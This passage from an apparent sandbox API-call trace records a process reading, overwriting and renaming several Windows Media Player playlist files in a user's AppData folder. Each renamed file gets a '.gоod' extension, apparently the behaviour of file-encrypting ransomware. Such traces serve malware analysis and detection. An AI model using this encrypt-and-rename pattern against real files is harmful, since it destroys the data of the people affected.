nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\06_Pictures_rated_4_or_5_stars.wpl.gоod", lpFilePart=0x0) returned 0x7a [0251.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1a0) returned 1 [0251.949] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\06_pictures_rated_4_or_5_stars.wpl"), fInfoLevelId=0x0, lpFileInformation=0x207eb280 | out: lpFileInformation=0x207eb280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x926381a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x320)) returned 1 [0251.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb160) returned 1 [0251.949] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\06_pictures_rated_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\06_Pictures_rated_4_or_5_stars.wpl.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\06_pictures_rated_4_or_5_stars.wpl.gоod")) returned 1 [0251.950] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\07_TV_recorded_in_the_last_week.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\07_TV_recorded_in_the_last_week.wpl", lpFilePart=0x0) returned 0x76 [0251.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1e0) returned 1 [0251.950] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\07_tv_recorded_in_the_last_week.wpl"), fInfoLevelId=0x0, lpFileInformation=0x3902988 | out: lpFileInformation=0x3902988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x410)) returned 1 [0251.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb1a0) returned 1 [0251.951] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\07_TV_recorded_in_the_last_week.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\07_TV_recorded_in_the_last_week.wpl", lpFilePart=0x0) returned 0x76 [0251.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0251.952] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\07_tv_recorded_in_the_last_week.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0251.952] GetFileType (hFile=0x768) returned 0x1 [0251.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0251.952] GetFileType (hFile=0x768) returned 0x1 [0251.952] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x207eb238 | out: lpFileSizeHigh=0x207eb238*=0x0) returned 0x410 [0251.952] ReadFile (in: hFile=0x768, lpBuffer=0x3903150, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207eb168, lpOverlapped=0x0 | out: lpBuffer=0x3903150*, lpNumberOfBytesRead=0x207eb168*=0x410, lpOverlapped=0x0) returned 1 [0251.952] CloseHandle (hObject=0x768) returned 1 [0252.502] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\07_TV_recorded_in_the_last_week.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\07_TV_recorded_in_the_last_week.wpl", lpFilePart=0x0) returned 0x76 [0252.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0252.503] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\07_tv_recorded_in_the_last_week.wpl"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0252.503] GetFileType (hFile=0x824) returned 0x1 [0252.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0252.503] GetFileType (hFile=0x824) returned 0x1 [0252.503] WriteFile (in: hFile=0x824, lpBuffer=0x3adf8b0*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x207eb078, lpOverlapped=0x0 | out: lpBuffer=0x3adf8b0*, lpNumberOfBytesWritten=0x207eb078*=0x420, lpOverlapped=0x0) returned 1 [0252.503] CloseHandle (hObject=0x824) returned 1 [0252.504] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\07_TV_recorded_in_the_last_week.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\07_TV_recorded_in_the_last_week.wpl", lpFilePart=0x0) returned 0x76 [0252.504] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\07_TV_recorded_in_the_last_week.wpl.gоod", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\07_TV_recorded_in_the_last_week.wpl.gоod", lpFilePart=0x0) returned 0x7b [0252.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1a0) returned 1 [0252.504] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\07_tv_recorded_in_the_last_week.wpl"), fInfoLevelId=0x0, lpFileInformation=0x207eb280 | out: lpFileInformation=0x207eb280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x92b6f343, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x420)) returned 1 [0252.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb160) returned 1 [0252.504] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\07_tv_recorded_in_the_last_week.wpl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\07_TV_recorded_in_the_last_week.wpl.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\07_tv_recorded_in_the_last_week.wpl.gоod")) returned 1 [0252.505] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\08_Video_rated_at_4_or_5_stars.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\08_Video_rated_at_4_or_5_stars.wpl", lpFilePart=0x0) returned 0x75 [0252.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1e0) returned 1 [0252.505] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\08_video_rated_at_4_or_5_stars.wpl"), fInfoLevelId=0x0, lpFileInformation=0x3ae0c60 | out: lpFileInformation=0x3ae0c60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x3fc)) returned 1 [0252.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb1a0) returned 1 [0252.505] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\08_Video_rated_at_4_or_5_stars.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\08_Video_rated_at_4_or_5_stars.wpl", lpFilePart=0x0) returned 0x75 [0252.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0252.505] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\08_video_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0252.505] GetFileType (hFile=0x824) returned 0x1 [0252.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0252.505] GetFileType (hFile=0x824) returned 0x1 [0252.505] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x207eb238 | out: lpFileSizeHigh=0x207eb238*=0x0) returned 0x3fc [0252.505] ReadFile (in: hFile=0x824, lpBuffer=0x3ae1418, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207eb168, lpOverlapped=0x0 | out: lpBuffer=0x3ae1418*, lpNumberOfBytesRead=0x207eb168*=0x3fc, lpOverlapped=0x0) returned 1 [0252.506] CloseHandle (hObject=0x824) returned 1 [0252.705] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\08_Video_rated_at_4_or_5_stars.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\08_Video_rated_at_4_or_5_stars.wpl", lpFilePart=0x0) returned 0x75 [0252.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0252.705] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\08_video_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0252.706] GetFileType (hFile=0x824) returned 0x1 [0252.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0252.706] GetFileType (hFile=0x824) returned 0x1 [0252.706] WriteFile (in: hFile=0x824, lpBuffer=0x3a99ed8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x207eb078, lpOverlapped=0x0 | out: lpBuffer=0x3a99ed8*, lpNumberOfBytesWritten=0x207eb078*=0x400, lpOverlapped=0x0) returned 1 [0252.707] CloseHandle (hObject=0x824) returned 1 [0252.707] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\08_Video_rated_at_4_or_5_stars.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\08_Video_rated_at_4_or_5_stars.wpl", lpFilePart=0x0) returned 0x75 [0252.707] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\08_Video_rated_at_4_or_5_stars.wpl.gоod", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\08_Video_rated_at_4_or_5_stars.wpl.gоod", lpFilePart=0x0) returned 0x7a [0252.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1a0) returned 1 [0252.707] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\08_video_rated_at_4_or_5_stars.wpl"), fInfoLevelId=0x0, lpFileInformation=0x207eb280 | out: lpFileInformation=0x207eb280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x92d5f22e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x400)) returned 1 [0252.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb160) returned 1 [0252.707] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\08_video_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\08_Video_rated_at_4_or_5_stars.wpl.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\08_video_rated_at_4_or_5_stars.wpl.gоod")) returned 1 [0252.708] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\09_Music_played_the_most.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\09_Music_played_the_most.wpl", lpFilePart=0x0) returned 0x6f [0252.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1e0) returned 1 [0252.708] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\09_music_played_the_most.wpl"), fInfoLevelId=0x0, lpFileInformation=0x3a9b288 | out: lpFileInformation=0x3a9b288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x401)) returned 1 [0252.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb1a0) returned 1 [0252.709] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\09_Music_played_the_most.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\09_Music_played_the_most.wpl", lpFilePart=0x0) returned 0x6f [0252.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0252.709] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\09_music_played_the_most.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0252.709] GetFileType (hFile=0x824) returned 0x1 [0252.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0252.709] GetFileType (hFile=0x824) returned 0x1 [0252.709] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x207eb238 | out: lpFileSizeHigh=0x207eb238*=0x0) returned 0x401 [0252.709] ReadFile (in: hFile=0x824, lpBuffer=0x3a9ba18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207eb168, lpOverlapped=0x0 | out: lpBuffer=0x3a9ba18*, lpNumberOfBytesRead=0x207eb168*=0x401, lpOverlapped=0x0) returned 1 [0252.710] CloseHandle (hObject=0x824) returned 1 [0252.736] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\09_Music_played_the_most.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\09_Music_played_the_most.wpl", lpFilePart=0x0) returned 0x6f [0252.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0252.737] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\09_music_played_the_most.wpl"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0252.737] GetFileType (hFile=0x824) returned 0x1 [0252.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0252.737] GetFileType (hFile=0x824) returned 0x1 [0252.737] WriteFile (in: hFile=0x824, lpBuffer=0x3b143c0*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x207eb078, lpOverlapped=0x0 | out: lpBuffer=0x3b143c0*, lpNumberOfBytesWritten=0x207eb078*=0x410, lpOverlapped=0x0) returned 1 [0252.738] CloseHandle (hObject=0x824) returned 1 [0252.738] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\09_Music_played_the_most.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\09_Music_played_the_most.wpl", lpFilePart=0x0) returned 0x6f [0252.738] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\09_Music_played_the_most.wpl.gоod", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\09_Music_played_the_most.wpl.gоod", lpFilePart=0x0) returned 0x74 [0252.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1a0) returned 1 [0252.738] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\09_music_played_the_most.wpl"), fInfoLevelId=0x0, lpFileInformation=0x207eb280 | out: lpFileInformation=0x207eb280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x92dab6b7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x410)) returned 1 [0252.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb160) returned 1 [0252.738] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\09_music_played_the_most.wpl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\09_Music_played_the_most.wpl.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\09_music_played_the_most.wpl.gоod")) returned 1 [0252.739] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\10_All_Music.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\10_All_Music.wpl", lpFilePart=0x0) returned 0x63 [0252.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1e0) returned 1 [0252.739] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\10_All_Music.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\10_all_music.wpl"), fInfoLevelId=0x0, lpFileInformation=0x3b15750 | out: lpFileInformation=0x3b15750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x427)) returned 1 [0252.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb1a0) returned 1 [0252.739] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\10_All_Music.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\10_All_Music.wpl", lpFilePart=0x0) returned 0x63 [0252.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0252.739] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\10_All_Music.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\10_all_music.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0252.739] GetFileType (hFile=0x824) returned 0x1 [0252.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0252.739] GetFileType (hFile=0x824) returned 0x1 [0252.739] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x207eb238 | out: lpFileSizeHigh=0x207eb238*=0x0) returned 0x427 [0252.740] ReadFile (in: hFile=0x824, lpBuffer=0x3b15ea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207eb168, lpOverlapped=0x0 | out: lpBuffer=0x3b15ea0*, lpNumberOfBytesRead=0x207eb168*=0x427, lpOverlapped=0x0) returned 1 [0253.580] CloseHandle (hObject=0x824) returned 1 [0254.824] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\10_All_Music.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\10_All_Music.wpl", lpFilePart=0x0) returned 0x63 [0254.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0254.824] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\10_All_Music.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\10_all_music.wpl"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0254.865] GetFileType (hFile=0x768) returned 0x1 [0254.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0254.865] GetFileType (hFile=0x768) returned 0x1 [0254.865] WriteFile (in: 